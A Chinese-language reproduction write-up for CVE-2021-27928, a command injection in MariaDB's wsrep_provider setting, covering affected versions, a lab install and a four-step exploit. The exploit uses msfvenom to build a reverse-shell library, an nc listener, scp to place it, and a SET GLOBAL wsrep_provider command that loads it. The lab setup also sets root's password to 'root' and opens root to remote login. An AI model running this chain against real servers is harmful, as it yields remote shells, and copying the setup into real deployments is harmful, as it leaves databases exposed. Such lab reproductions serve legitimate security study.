影响范围
- MariaDB 10.2 before 10.2.37
- MariaDB 10.3 before 10.3.28
- MariaDB 10.4 before 10.4.18
- MariaDB 10.5 before 10.5.9
漏洞类型
命令注入漏洞
利用条件
影响范围应用
漏洞概述
2021年3月17号,MariaDB官方发布的安全通告中修复了一处命令注入漏洞,具备数据库超级用户可以在修改wsrep_provider和wsrep_notify_cmd后执行OS命令。
漏洞复现
环境搭建
首先,访问Mariadb官方下载存在漏洞版本的安装包:
https://downloads.mariadb.org/mariadb/10.3.27/
之后将下载好的文件传到服务器上:
在安装包所在目录执行以下命令把安装包解压到/usr/local目录下
代码语言:javascript复制sudo tar xvf mariadb-10.3.27-linux-x86_64.tar.gz -C /usr/local
之后进入到解压文件目录中
这里的mariadb的目录名不符合要求,我们可以直接修改名字,也可以创建一个软连接,这里采用软连接方式:
代码语言:javascript复制sudo ln -s mariadb-10.3.27-linux-x86_64/ mysql
之后创建mysql用户
代码语言:javascript复制删除用户:userdel mysql
删除用户组:groupdel mysql
删除邮箱:rm -rf /var/spool/mail/mysql
创建mysql用户组:useradd -s /sbin/nologin -M mysql
之后赋予用户权限:
代码语言:javascript复制sudo chown -R mysql:mysql .
指定数据库文件目录
代码语言:javascript复制sudo mkdir /usr/maria_data
sudo chown -R mysql:mysql /usr/maria_data
初始化数据库(操作路径/usr/local/mysql)
代码语言:javascript复制sudo ./scripts/mysql_install_db --user=mysql --datadir=/usr/maria_data
配置启动脚本(操作路径/usr/local/mysql)
代码语言:javascript复制cp ./support-files/mysql.server /etc/init.d/mysqld
chmod x /etc/init.d/mysqld
编辑配置脚本,填写一下内容:
代码语言:javascript复制basedir=/usr/local/mysql
datadir=/usr/maria_data
配置环境变量:
代码语言:javascript复制echo 'export PATH=/usr/local/mysql/bin:$PATH' > /etc/profile.d/mysql.sh
source /etc/profile.d/mysql.sh
进入/usr/local/mysql/support-files找到配置文件wsrep.cnf,添加如下内容
代码语言:javascript复制log_bin=mysql-bin
skip_name_resolve=on
启动服务:
代码语言:javascript复制sysv-rc-conf mysqld on
设置数据库密码以及允许远程登录
代码语言:javascript复制#选择mysql 数据库
use mysql;
#更改 root 用户密码
update user set password=PASSWORD("root")where user="root";
#更新权限
flush privileges;
#设置任何远程主机都可以访问数据库
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
#更新权限
flush privileges;
测试远程访问:
漏洞利用
Step 1:使用MSF生成载荷
代码语言:javascript复制msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f elf-so -o CVE-2021-27928.so
Step 2:开启NC监听
代码语言:javascript复制nc -lvp <port>
nc -lvp 4444
Step 3:将payload复制到目标主机(可以通过SCP或SSH方式)
代码语言:javascript复制scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so
scp CVE-2021-27928.so ubuntu@192.168.174.166:/tmp/CVE-2021-27928.so
Step 4:执行以下命令,之后成功反弹shell回来:
代码语言:javascript复制mysql -u root -p -h 192.168.174.166 -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'
安全建议
升级到安全版本
参考链接
https://www.exploit-db.com/exploits/49765
https://jira.mariadb.org/browse/MDEV-25179
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27928